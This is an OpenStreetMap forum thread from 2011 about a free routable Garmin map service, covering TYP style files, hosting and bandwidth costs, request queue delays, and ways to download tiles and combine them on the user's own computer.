Would be great if anyone wants to work this out. - Re: Worldwide routable Garmin maps: URL REMOVED · rogal (Gast) · 15.01.2011 19:56 · [flux]
I found Create-IMG script which uses wget and mkgmap to create country maps. There I've seen the MASTER.TYP file. I supposed it was one of the default mkgmap TYP's
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.01.2011 20:29 · [flux]
rogal wrote:
mkgmap has MASTER.TYP style which is quite good, maybe compiling TYP should be optional when requesting a map?
File sharing portals are better than torrent in many cases - don't depend on firewall/router issues, you can quickly download a map on a borrowed computer, etc. Hotfile has (as I remember) partnership program in which you earn money for downloads - nice way to gather $$$ for better server 🙂.
Scripting upload is possible for 100% - I've used some ebook sharing portal which automatically distributed files across all services. 4shared.com and adrive.com have some advanced options for upload.
If you need any help, please let me know on private message - I can make a research on that and write appropriate scripts.
There has to be some serious money involved when using a commercial server. Lots of money to be earned and donated. A dedicated server with 1 or 2 cores, 2gb ram, >200GB disk space and ~5TB monthly bandwidth is surely not going to be cheap (i.e. well over 300 Euro per month). I also would prefer not to have money involved, a donate button and adds on the site. The current server and bandwidth is sponsored which is worth a lot!
Thanks for the tip on the filehosting services. I'll check them out.
Ligfietser, I'll use the Mapnik stylesheet for one of my next updates. Perhaps it could be moved to a trac/svn repository so that others can collaborate on it, for maintenance and improvements?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.01.2011 22:40 · [flux]
Thats great Lambertus, hope somebody can put some time in it to improve the typ files.
If you have questions you can always contact me. - Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 16.01.2011 10:27 · [flux]
ligfietser wrote:
I have never heard of this Master.typ, can you tell more about it?
There is also a Mapnik.typ, I posted it on http://forum.openstreetmap.org/viewtopic.php?id=10032
I've posted it too on the mkgmap mailing list but with zero feedback.
Would be great if anyone wants to work this out.The problem with any TYP file that is distributed with mkgmap is that it needs to be compatible with all GPS units. As I mentioned a few weeks ago when you posted here, any TYP file that uses borders along roads will look horrible in older GPS units like the GPSMap series.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.01.2011 11:28 · [flux]
I understand your point, its better to have two TYP files, one for the older units, one for the newer.
In my own Openfietsmap I offer two TYP files, one for older GPS units with light border, one with darker borders. In Mapsource it's easy to switch between those TYP files.
See http://sites.google.com/site/openfietsm … 12-12-2010
The main problem is the gmapsupp file. If I don't want to offer two different sets of gmapsupps, is there a tool where the user can change the TYP file within the gmapsupp (without needing Basecamp or Mapsource)? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.01.2011 12:26 · [flux]
csdf wrote:
ligfietser wrote:
I have never heard of this Master.typ, can you tell more about it?
There is also a Mapnik.typ, I posted it on http://forum.openstreetmap.org/viewtopic.php?id=10032
I've posted it too on the mkgmap mailing list but with zero feedback.
Would be great if anyone wants to work this out.The problem with any TYP file that is distributed with mkgmap is that it needs to be compatible with all GPS units. As I mentioned a few weeks ago when you posted here, any TYP file that uses borders along roads will look horrible in older GPS units like the GPSMap series.
Hmm, I apparently missed that comment. Thanks.
I would really love to be able to customise requests (allow different TYP files, user definable series id's so that you can install multiple maps in MapSource very easilly, add contour lines, etc), but it would make many more requests unique and therefore would likely kill any caching that is currently helping to keep this service running.
I'm thinking about offloading some of the bigger standard countries to RapidShare (or equivalent), but that's not optimal. I'm sure it will confuse people. Besides, I could also point towards the OSM wiki Garmin maps dowload list (actually, I'm already doing that).
The other option I'm thinking about, which is radically different and actually one of my older ideas, is to have the server host only the tiles (zipped) and meta information and an Java application that runs on the user' computer that builds, maintains and installs custom maps.
ligfietser wrote:
I understand your point, its better to have two TYP files, one for the older units, one for the newer.
In my own Openfietsmap I offer two TYP files, one for older GPS units with light border, one with darker borders. In Mapsource it's easy to switch between those TYP files.
See http://sites.google.com/site/openfietsm … 12-12-2010
The main problem is the gmapsupp file. If I don't want to offer two different sets of gmapsupps, is there a tool where the user can change the TYP file within the gmapsupp (without needing Basecamp or Mapsource)?Pretty sure one of these tools can do that but I'm not running Windows, so can't check it.
- Re: Worldwide routable Garmin maps: URL REMOVED · extremecarver (Gast) · 16.01.2011 13:31 · [flux]
If you offer country maps, it's not gonna be 5TB per month. I'm at around 500GB per day on average. During summer it spiked at around 1.5TB a day on my download servers (meaning bout 700-800 map downloads for Germany, 200-300 Italy, 200 Austria and so on -- not even offering Europe for download).
- Re: Worldwide routable Garmin maps: URL REMOVED · BartB (Gast) · 16.01.2011 13:33 · [flux]
@ Lambertus:
Isn't it possible to build your program (generating Garmin maps) into an already available Mapping program such as QlandkarteGT or KDE's Marble?
They have a program in which you can view an OSM map, and you already have a program on your website that turns the OSM tiles into a Garmin map. To me that sounds like 1+1=2, but I'm not a programmer...
Then you could just host the popular country maps on your site, and let users make their own special maps. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.01.2011 13:48 · [flux]
extremecarver wrote:
If you offer country maps, it's not gonna be 5TB per month. I'm at around 500GB per day on average. During summer it spiked at around 1.5TB a day on my download servers (meaning bout 700-800 map downloads for Germany, 200-300 Italy, 200 Austria and so on -- not even offering Europe for download).
Thanks for the statistics. I guess you (and other well established country map providers) are catching the bulk of the downloads then, which limits the downloads here. The available disk space is also limiting the number of possible downloads per day.
May I ask how much you pay for your bandwidth, or is your hosting sponsored as well?
I have around 500 unique visitors on the download server (many more on the website itself) and use about 50-120 GB/day bandwidth.
BartB wrote:
@ Lambertus:
Isn't it possible to build your program (generating Garmin maps) into an already available Mapping program such as QlandkarteGT or KDE's Marble?
They have a program in which you can view an OSM map, and you already have a program on your website that turns the OSM tiles into a Garmin map. To me that sounds like 1+1=2, but I'm not a programmer...
Then you could just host the popular country maps on your site, and let users make their own special maps.Possibly, I haven't really looked at it yet. But thanks for the tip!
(Edit: I've also found uDig, jMapViewer, MapPanel, Java GeoTools)
The point of my service is: I want people to be able to make their own map (e.g. cross-country) and to make this as user friendly as possible. "Simple" country extracts in various flavours can be (and, ofcourse, are) hosted by others, like extremecarver and ligfietser.
- Re: Worldwide routable Garmin maps: URL REMOVED · extremecarver (Gast) · 18.01.2011 09:50 · [flux]
My hosting and my website server is both sponsored by Domainbox. If not I would have to stop (at current price level for downloads like at Amazon S3 one could not make up for it by adverts) I have another donor for the server where I render the maps. But as I don't want to abuse it, I don't offer any maps of Europe or North America (would in any case be useless, as most data is just imports and that is not what I understand as worthwile).
For many people I think Europe is no real question, as it takes too long for download. But for all people with a 16MB down or higher, I would believe that if the download servers are quick enough, they just download. Few people got any knowledge bout costs of server and would not even think that such a server is expensive.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ebenezer (Gast) · 21.01.2011 04:22 · [flux]
Lambertus wrote:
It's working alright (Italy, UK, Arkansas and Australia are nicely covered now)
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 30.01.2011 05:09 · [flux]
Lambertus wrote:
The other option I'm thinking about, which is radically different and actually one of my older ideas, is to have the server host only the tiles (zipped) and meta information and an Java application that runs on the user' computer that builds, maintains and installs custom maps.
I think this is a really good idea. Sure, it would put more of the work on the actual users, but that is not such a bad thing.
If you could actually choose the tiles you want, via slippy-map or some-such, and download them from within the program, then you would really have something good.
Just a thought. I only wish I could help. Sadly my programming skills date back to the acoustic coupler and mainframe days.
Thanks for all YOUR hard work.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 30.01.2011 09:40 · [flux]
Just one more thought about typ files: from the little I have gleaned with my experiments on my Zumo 660 is that support for them in this unit is broken. I tried to create a dashed line for dirt roads (like what we used to have in MS and the 60CSx), as they are now all but indistinguishable from minor roads. The result: anything transparent and any secondary colour and border in lines are black.
I have no knowledge of this, but I suspect that some of the newer Nuvis will have the same 'features', as the Zumo is very similar to Nuvis.
And yes, thanks again for this great service!
Kind regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.01.2011 12:40 · [flux]
Peter,
Did you check with mapsettoolkit if the Family ID of the map corresponds with the one in the Typ file?
You also need to 'instruct' mapsource that you have added a typ file otherwise it wont see it if you send the maps
with typ file to your unit. As far as i know nuvis will work with the typ files, but Im not sure how compatible they are with
the latest units. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.01.2011 13:33 · [flux]
Yes, the FID is normally correct, but even when it isn't it makes no difference. I can see the effect of the typ alright, it's just that the display is not what the program that created it (gentypg) says it should look like. As I said, primary colours are ok, but borders and secondary colours I can have in any colour, as long as it is black. (Henry Ford)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.01.2011 14:09 · [flux]
I see you use gentyp. Have you tried to edit the typ file with http://ati.land.cz/gps/typdecomp/editor.cgi?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.01.2011 14:58 · [flux]
No, I don't. I have used gentypG to create just two line styles: http://gwprojects.org/forum/viewtopic.p … 42&e=23042
I tried the online editor, but I can't see how I can create a dashed line there. gentypg lets me create patterned lines, whereas the online editor seem to allow only solid lines.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 31.01.2011 15:18 · [flux]
It does support patterns. If you set bitmap height > 0 you can see a bitmap editor to fill in a pattern.
http://sites.google.com/site/openfietsm … /customize
Ive read that gentyp is a bit outdated and maybe doesnt support the newer units anymore.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 31.01.2011 15:52 · [flux]
Yes, the author wrote that gentyp is old and his prog is based on that, but he only just released a new version, see link.
OK, I get what you mean. I had another go with Typ Wiz 0.573 and here is what I get in MS:
Looks ok, but when you zoom out it looks hideous:
This is what it looks like on my zumo:
Note the black between the dashes. Also, the line is now very thin at any zoom.
Anyway, thanks for your help, but I think we are getting way off-topic here and the topic is already very long...
Kind regards,
Peter.PS: back to my typ with solid lines, which is working.
- Re: Worldwide routable Garmin maps: URL REMOVED · GuyIncognito (Gast) · 03.02.2011 11:12 · [flux]
First of all thanks for the great work with the maps.
I just downloaded some tiles for Austria and I don't know what is wrong but there is a street missing. I can see it on the map online but when I copy the downloaded map (created some hours ago) i can't see it in MapSource and in the GPSMap60cs.
The street I mention is in Austria->Styria->Eisenerz the road to the Leopoldsteiner Lake in the north western area of Eisenerz. As I mentioned on the online version I can see it and in MapSource and on my GPS it's missing.
Thanks for help.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2011 17:30 · [flux]
That road is very new (created on january 19th) so I guess it just wasn't in the planet dump used for this map update. It's probably best if you check again a future update and see if it is still missing (I guess not, there is no reason why it shouldn't be in the Garmin maps).
- Re: Worldwide routable Garmin maps: URL REMOVED · GuyIncognito (Gast) · 03.02.2011 17:41 · [flux]
OK. I'll try in some weeks again.
Thanks for the quick answer.
- Re: Worldwide routable Garmin maps: URL REMOVED · freewave (Gast) · 11.02.2011 20:34 · [flux]
Could someone explain to me why my osm maps display as green blotches on my oregon 450 instead of a solid green for forest areas.
- Re: Worldwide routable Garmin maps: URL REMOVED · Camwow13 (Gast) · 11.02.2011 21:46 · [flux]
Wow! There are around 735 requests in the queue right now and the number keeps rising. Did something happen?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.02.2011 23:00 · [flux]
Nope, nothing special afaik. I don't see anything new in the top referrers either. Maybe people are preparing for a holiday? I don't know...
The service is working fine though.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 12.02.2011 01:33 · [flux]
freewave wrote:
Could someone explain to me why my osm maps display as green blotches on my oregon 450 instead of a solid green for forest areas.
Lucky you! On my Zumo forests are brown diagonal stripes. You need to go to the mkgmap compiler mailing list and complain about that.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.02.2011 09:43 · [flux]
That is because the default styles don't have a typ file yet.
Maybe installing this typ file will help?
http://forum.openstreetmap.org/viewtopic.php?id=10032Please note that you will need a tool like mapset toolkit to install a typ file:
See http://mijndev.openstreetmap.nl/~ligfie … oolkit.jpg - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 12.02.2011 11:53 · [flux]
alimamo wrote:
Lambertus wrote:
The other option I'm thinking about, which is radically different and actually one of my older ideas, is to have the server host only the tiles (zipped) and meta information and an Java application that runs on the user' computer that builds, maintains and installs custom maps.
I think this is a really good idea. Sure, it would put more of the work on the actual users, but that is not such a bad thing.
If you could actually choose the tiles you want, via slippy-map or some-such, and download them from within the program, then you would really have something good.
For users who are only interested in generating a gmapsupp.img file the solution to do it yourself is not far away.
There exists already longtime a (free) program sendmap20.exe (with sendmap.exe). http://cgpsmapper.com/buy.htm which combines such tiles to one gmapsupp.img file. (I did not test the linux version).
Once a user selected tiles on your site and downloaded them sendmap20 will make an gmapsupp.img file out of them.
(sendmap20 can send the .img to the garmin device too. But I'm not interested in this possibility as I just put the .img on the microSD card. I'm not intereste to show them in Mapsource either.).So the only problem is to download the selected files.
Yesterday I wrote a program for that. Once the tiles are selected ( I used Firefox) I select all tiles -which are summarised in the left margin of your webpage). Then click right on the selection and choose "source of selection". The contents of the window that opens has to be copy/pasted in my program which then downloads all tiles.
Then it is just only select all img files in explorer and drop them on sendmap20. Today I tested this on windows 7. All worked.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.02.2011 09:57 · [flux]
Hi Lambertus,
There is a big hole in the middle of Thailand again.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.02.2011 10:18 · [flux]
Sorry Peter, I haven't fixed the country matching algorithm yet. Fortunately you only have to manually add 1 missing tile.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.02.2011 11:04 · [flux]
Ok, I didn't realise that. Even more fortunate, I can choose Laos and only loose a few km in the very South, which I don't need right now anyway.
Kind regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · emu77 (Gast) · 14.02.2011 16:54 · [flux]
Lambertus: servis is not working... I have been already waitnig 6 days for my map to be built. Just requested it again and realised there is 962 requests in the queue. Need a map of Morrocco for my next week overland trip to north Africa - please help !!!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.02.2011 18:49 · [flux]
Afaik the service is working, the current oldest request in the queue is created the 10th 15:18 (looks like the delay guestimate is fairly accurate). I also still get emails from people, who can't get their heads around installing maps and such, who received their email recently (in the last 2 days). The service is simply overwhelmed, i.e. more requests coming in than it can process per time unit.
Also, there isn't a *jump the queue* function (not even for me 😛). All I can suggest is to get your map early with room to spare for busy times.
- Re: Worldwide routable Garmin maps: URL REMOVED · emu77 (Gast) · 14.02.2011 23:34 · [flux]
I still got no email and did already 3 requests since feb 9th. Just look at the queue Lambertus, it is nearly 1000 requests pending !
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 15.02.2011 01:34 · [flux]
If you need a map quickly here is how to get it:
Select the country you want. Download the tiles you need individually from the list on the left, under the email link.
Download MapsetToolkit from somewhere and use that to install the tiles into MS.Works like a charm.
Lambertus: you may remember that I said to expect this to take off like a rocket. Now it does. I'm happy to contribute a few Es to increase computing power. What you have built is so good and essential for Garmin users that it deserves to have more resources.
Kind regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.02.2011 09:47 · [flux]
emu77 wrote:
I still got no email and did already 3 requests since feb 9th. Just look at the queue Lambertus, it is nearly 1000 requests pending !
What's your email address (the one you provided when requesting the map)? I can lookup your email address and touch the file so it jumps the queue (note to lurkers: this is an exception!). You can just post your email address here or set it in your forum profile...
Edit 1: Watch the machine being busy or waiting for disk space.
Edit 2: Hmm, just tried that with a request of my own, but I don't have rights to touch the files which the webserver created and I'm not in the sudoer file so can't boss it around either...
Edit 3: Added two simple scripts for the webserver to overcome the problem above. One can search for a string in the requests (e.g. email address) and lists the matching files. The other touches the a given filename (sets the date back one month) so that it jumps the queue. Note to hackers: need to probe for the url's, access is restricted to two IP's only 😉 Note to desperate users: no need to contact me, I don't have the time or will to move you up the queue. I will only use these scripts to check if the whole map building chain is working.
Edit 4: Reduced the availability time of the maps from 48 to 42 hours. This will speedup the queue a bit.
Edit 5: My request that jumped the queue has completed and I received the email. So everything is working fine. Emu777, can you check your SPAM folders, maybe the emails got classified as spam...
- Re: Worldwide routable Garmin maps: URL REMOVED · emu77 (Gast) · 15.02.2011 17:01 · [flux]
I just sent you a massage with my email. Still havent got any response from the service...
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 15.02.2011 20:01 · [flux]
emu77 wrote:
..Need a map of Morrocco for my next week overland trip to north Africa
Marocco is only two tiles at the moment. So download those two tiles manually and put them together with sendmap20.exe (as I described on this page) or with MapsetToolkit (as Beddhist described).
You can also use two micro-SD cards. Put a tile on each and rename each tile to gmapsupp.img. Big change that you only need one tile.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.02.2011 09:06 · [flux]
emu77 wrote:
I just sent you a massage with my email. Still havent got any response from the service...
You should definately have gotten the email by now. I had a request right after yours and I received the email around 01:30 CEST.
If you didn't get the email then there is most likely a problem at your end. But the Moroccan and Mauretanian maps are available for direct download on the server. Mauretania contains all of Western Africa including all of Morocco.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.02.2011 19:00 · [flux]
Beddhist wrote:
Lambertus: you may remember that I said to expect this to take off like a rocket. Now it does. I'm happy to contribute a few Es to increase computing power. What you have built is so good and essential for Garmin users that it deserves to have more resources.
Yes, I remember you said that and you're probably right. Previously some things have been discussed like using free external file hosting, but I didn't like the conditions under which they provide hosting. So I've asked my sponsor to upgrade my server to at least 250Gb harddisk space (I now have ~100 Gb), I expect to hear from them in about 1-2 weeks (holiday in between). If they don't agree then I might start moving faster to my last solution: the clientside map compiling and installing Java application. I'm steadily getting a clearer picture about the way I want to make it and this is probably where I want to move to eventually. There's only so much server power and storage realisticly available.
I do get emails from people who would like to contribute some money for this service, but it's feeling like a major hurdle for me to take (psycologically speaking). I also wonder if that will work out well because a dedicated server in the US with flat fee bandwidth is around $90/month and if I want to do the same in the Netherlands it would be more then Eur 100 for the traffic alone(!). I really don't know what to expect from donations but I don't see it covering the costs for hosting (could be wrong though, but I don't have any experience with donations). So, as things stand now, I'd love to solve the growth problems within my current sponsoring conditions.
- Re: Worldwide routable Garmin maps: URL REMOVED · ulrichm (Gast) · 16.02.2011 23:29 · [flux]
Lambertus, thanks a million for this wonderful service!
I requested the Tunisia Map on Friday last week (the website stated that the map of 10-02 would be used) and received an email this evening with the link to the map. The link "[...]garmin/routable/30-01-2011/[...]" still states the date of 30-01-2011 and the map also seems to be from that date because I do not see any of the changes that have been done to the map since.
Is this normal?? Thanks.
Kind regards from Tunisia - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.02.2011 00:08 · [flux]
Yep, that is normal. You requested the map when 30-01-2011 was the latest version, so that version is used for your request. If it would switch to the newest version automatically then your map would be totally messed up because the tilenumbers are different between versions (or, when they are the same for the same region, that is pure luck). If you want a map using the data from the current version then you'll have to request your map again. But, please, don't do that on every update, the server is already busy enough...
- Re: Worldwide routable Garmin maps: URL REMOVED · ulrichm (Gast) · 17.02.2011 00:22 · [flux]
Thanks for the quick reply! Makes totally sense. I can live with the normal "TN-Tunis" map on a daily basis. Only sometimes I need the entire Tunisia map. Thanks anyway for all the work!
- Re: Worldwide routable Garmin maps: URL REMOVED · Beerforfree (Gast) · 17.02.2011 16:03 · [flux]
We should encourage the people to download the tiles by themselves and compile them with mkgmap. It is very easy to do, I wrote a post in our local page http://wiki.openstreetmap.org/wiki/Wiki … _Argentina explaining the steps (It's in Spanish)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.02.2011 16:22 · [flux]
Indeed, and lots of people do so already, but there are more people that don't want to go through the trouble of trying to determine the tilesizes, splitting a country dump, rendering them with all the options and installing them in MapSource/BaseCamp/etc. For Argentina the process is reasonably straighforward but for countries that are more complex it is quite demanding.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 18.02.2011 08:49 · [flux]
Lambertus wrote:
Indeed, and lots of people do so already, but there are more people that don't want to go through the trouble of trying to determine the tilesizes, splitting a country dump, rendering them with all the options...
If you download the tiles then you don't have to do all those things. You cannot even do them. The only thing once downloaded is to put all tiles in one file. Sendmap20.exe will do in a glance. Mkgmap would be overkill for such a simple task.
...and installing them in MapSource/BaseCamp/etc..
That is a different story. I wonder how many people want that? Do you have statistics of your service downloads?
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 18.02.2011 11:07 · [flux]
OpenStreetMap data from: 12-02-2011. Current queue: 1227 requests (delay: ~5.1 days).
We are witnessing the succes of this site. Last week it was about 800 requests.
And then I saw 1000 and then 1100.
How will this go on?
Are there requests to just try it out?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.02.2011 13:55 · [flux]
greencaps wrote:
Lambertus wrote:
Indeed, and lots of people do so already, but there are more people that don't want to go through the trouble of trying to determine the tilesizes, splitting a country dump, rendering them with all the options...
If you download the tiles then you don't have to do all those things. You cannot even do them. The only thing once downloaded is to put all tiles in one file. Sendmap20.exe will do in a glance. Mkgmap would be overkill for such a simple task.
Certainly, but that only works for Windows and if Germany or the Netherlands are of your interest then we're talking about clicking and downloading ~80-140 individual tiles.
...and installing them in MapSource/BaseCamp/etc..
That is a different story. I wonder how many people want that? Do you have statistics of your service downloads?
A quick scan on this months downloads:
mapsource =2210
gmapsupp = 1757
roadtrip = 534
linux tiles.zip = 1226But I notice that individual tiles also get downloaded a lot: 6237x in total.
The number of downloads would be higher, ofcourse, if the service would be able to process requests faster... Caching seems to be working fine as e.g. one gmapsupp.img is downloaded 110x.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 18.02.2011 14:17 · [flux]
Lambertus wrote:
mapsource =1518
gmapsupp = 1008Thanks for the quick info.
But this can be read as: from the 1580 people who downloaded data for mapsource 1008 downloaded gmapsupp too.
What I really would like to know is how many people only downloaded the gmappsupp. ( I'm one of them).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.02.2011 14:38 · [flux]
Sorry, I messed up in Excel. Anyway it's difficult to get what you want. For that I would have to parse the apache logs and match all the ip adresses, but I don't have access to the logs, only awstats (which doesn't list the IP addresses).
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 19.02.2011 13:23 · [flux]
OpenStreetMap data from: 12-02-2011. Current queue: 1378 requests (delay: ~5.7 days).
And the summer still has to come...
Lambertus wrote:
Certainly, but that only works for Windows..
Once the selected tiles are downloaded you only need sendmap20 to combine them to a gmapsupp.img file. Both for Windows and Linux there is a free sendmap executable: http://cgpsmapper.com/buy.htm For windows no installation required. Just unzip. (I did not test the Linux version).
and if Germany or the Netherlands are of your interest then we're talking about clicking and downloading ~80-140 individual tiles.
For Netherlands and Germany you would provide a ready to download map. But for for the rest I fully agree with you. Download many tiles manually is not a pleasant task. That's where a download program could come in handy. So I made one.
My suggestion is: You could advocate on your site that people who are only interested in a gmapsupp.img file to download the selected tiles and put them together themselves with sendmap20. If they need a download program (for windows) they could use mine (no installation required).
And thinking further ahead in case you're interested: Then an extra button next to the selected tiles which brings to another page where all tiles are summarized and where the -tile url's- selection could be easily copied to clipboard. Further some text and links to where to obtain sendmap and a/the downloader(s).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.02.2011 17:17 · [flux]
Right, back from a holiday and an email box full of complaints 🙂
Anyway, I looked at the queue handler once more and discovered a bug that allowed some requests to linger longer in the queue then others (i.e. the queue is not properly sorted on date of request). This is now fixed. Apologies to those who had to wait extra long, lucky you who got their map faster then others 8|
I also like the suggestion from one emailer (Steve from UK) who suggested that I provided a tracking number for each request and a webpage that allows to see the current status of the request. This is easy to do as all the components needed are already in place, so I expect to add that in the coming days after I've catched up with the online world.
Greencaps: I'll think about your suggestions, but I'd like to keep it as simple as possible for people. But, as Windows users are probably the largest group, I might consider a NSIS installer that downloads the tiles and prepares the map on the users computer. That way I don't have to write a complete application but only the installer script (e.g. NSIS has a download plugin) and it's only a matter of running through a bunch of installer options which is fairly familiar for most people.
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 27.02.2011 21:17 · [flux]
Lambertus wrote:
.. I might consider a NSIS installer that downloads the tiles and prepares the map on the users computer.
But what would be installed? Which program would concatenate the .img tiles to a gmapsupp.img file? And how would the installer know which tiles had to be downloaded?
http://nsis.sourceforge.net/Features
"The NSIS distribution includes a set of plug-ins that allow you to download files from the internet, make internet connections, patch existing files and more.But on this page: http://nsis.sourceforge.net/Category:Plugins a download plugin is not mentioned. And the internet plugin only gives you a hostname and so.
I was interested in your solution so inmediately had a look. But if I cannot find examples of how to use a download plugin yhe investigation stops..
Ok. After more searching: its called NSISdl
http://nsis.sourceforge.net/Builtin_NSISdl_plug-in - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.02.2011 21:37 · [flux]
Well, I primarily mulled this over during holiday without internet access, so I might not have a complete picture, but...The idea was that the NSIS installer contains only the script instead of the script AND the tiles. That would free-up much needed disk space.
Based upon the request of the user I can generate a NSIS script that includes the tilenames (URL) that NSIS should download. A quick search before packing learned that NSIS has a download plugin which seemed to be what I'd need, but I didn't investigate further, it might not be what I expect it to be.
I initially did not intend the NSIS installer to create the gmapsupp.img as well, but perhaps the NSIS installer could also download and install Mkgmap... I don't know about that yet. On the other hand, the gmapsupp.img.zip is also needed for people using Linux or OSX, so it doesn't really help using NSIS for creating gmapsupp images to save server disk space.
Edit: What about this plugin?
Edit2: Ah, I see you've found an alternative 🙂
Edit3: There's even an Java JRE installer and application launcher script for NSIS - Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 27.02.2011 22:51 · [flux]
But that is terrible complex and which user want to install NSIS, JAVA and mkgmap just to generate his own gmapsupp.img? Do you realise how many MB's have to be installed for that? And not every Java will do as mkgmap wants a pretty new version.
You said "I'd like to keep it as simple as possible for people" but in this way you are not.
No far simpler is what i suggested.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.02.2011 09:30 · [flux]
My idea:
-Most users who want to work with josm have to install java anyway
-nsis doesnt need to be installed by the user, it is only needed to convert a script into an exe file, the user only have to run this setup.exe
-mkgmap can be packed into this exe file and run by the installer without any complications, the only thing that is needed is that java is installed on the pc
-mkgmap will combine the (already downloaded?) tiles into one map (it creates an index which takes hardly a few minutes), the setup.exe installs this into the windows registerSo to my opinion the best way to do it, is that the user goes to the osm site, clicks on the map and select the tiles he/she wants to download.
The tiles are downloaded as well as a small installer file which contains mkgmap. On the computer the user can choose to
a) compile a gmapsupp from the tiles with mkgmap (tiles will be deleted) - maybe this can be done with sendmap without mkgmap
b) install the tiles into mapsource with or without a gmapsupp,
c) the user can choose with or without a typ file and also a selection of typ files is possible (if provided)For my maps this solution will make it also more convenient. I don't have to create installers for the whole Benelux, a seperate gmapsupp and Germany (and maybe a few more countries) but simply
have to split the europe extract into a certain amount of tiles. The user can pick and choose the ones he is interested in. At the moment someone who wants a bike map of his region has to download and install the whole Benelux (500mb). For one version of the Benelux I have to use 1,5gb of disk space, instead one 500mb (gmap, windows and mac versions). So its a win win solution, and I think we can ask for the users also something in return (install java, thats all). - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.02.2011 10:38 · [flux]
greencaps wrote:
But that is terrible complex and which user want to install NSIS, JAVA and mkgmap just to generate his own gmapsupp.img? Do you realise how many MB's have to be installed for that? And not every Java will do as mkgmap wants a pretty new version.
You said "I'd like to keep it as simple as possible for people" but in this way you are not.
No far simpler is what i suggested.
That's why I initially said that NSIS isn't a serious option for the gmapsupp.img, only for installing the MapSource version. No additional applications are needed for that, neither JAVA/mkgmap or Sendmap20. Besides the complexity, it doesn't save CPU cycles or disk space on the server which this is all about. But -in theory- an NSIS installer could be an all-you-need option for Windows users.
But, on second thought, Sendmap20 would be better and easier to use for uploading to the GPS then Mkgmap. It could also be used as an extra step in the MapSource installer (Install the map in MapSource and/or send the map to the GPS).
- Re: Worldwide routable Garmin maps: URL REMOVED · greencaps (Gast) · 28.02.2011 13:25 · [flux]
ligfietser wrote:
My idea:
-Most users who want to work with josm have to install java anywayMy idea: Most people who 'order' a map will not be OSM contributers. And if they are will use potlatch.
-nsis doesnt need to be installed by the user, it is only needed to convert a script into an exe file, the user only have to run this setup.exe
Ok. But then this setup.exe has to be generated on Lambertus' site and then downloaded. This has to be 'ordered' too. So again a possibility for a queue. And is it possible for NSIS on a Linux computer to generate an installer for Windows?
-mkgmap can be packed into this exe file and run by the installer without any complications, the only thing that is needed is that java is installed on the pc
I would not pack mkgmap in that exe file. Only the urls where to download mkgmap. The exe would then download and install. The same for java. But what a hassle.
So to my opinion the best way to do it, is that the user goes to the osm site, clicks on the map and select the tiles he/she wants to download.
The tiles are downloaded ...Now who is downloading the tiles??
as well as a small installer file which contains mkgmap. On the computer the user can choose to
a) compile a gmapsupp from the tiles with mkgmap (tiles will be deleted) - maybe this can be done with sendmap without mkgmapmkgmap is overkill.
What I miss in this scenario is that if the 'orderer' comes back some months later to 'order' other tiles how that would go. All software is already on his computer. So only tiles have to be downloaded. Please explain.
For my maps this solution will make it also more convenient. ...... and I think we can ask for the users also something in return (install java, thats all).
But then you have to place all tiles on your server and provide an equal nice interface as Lambertus' where the tiles can be manually selected on a map. But I agree except for needing java and mkgmap.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.02.2011 14:47 · [flux]
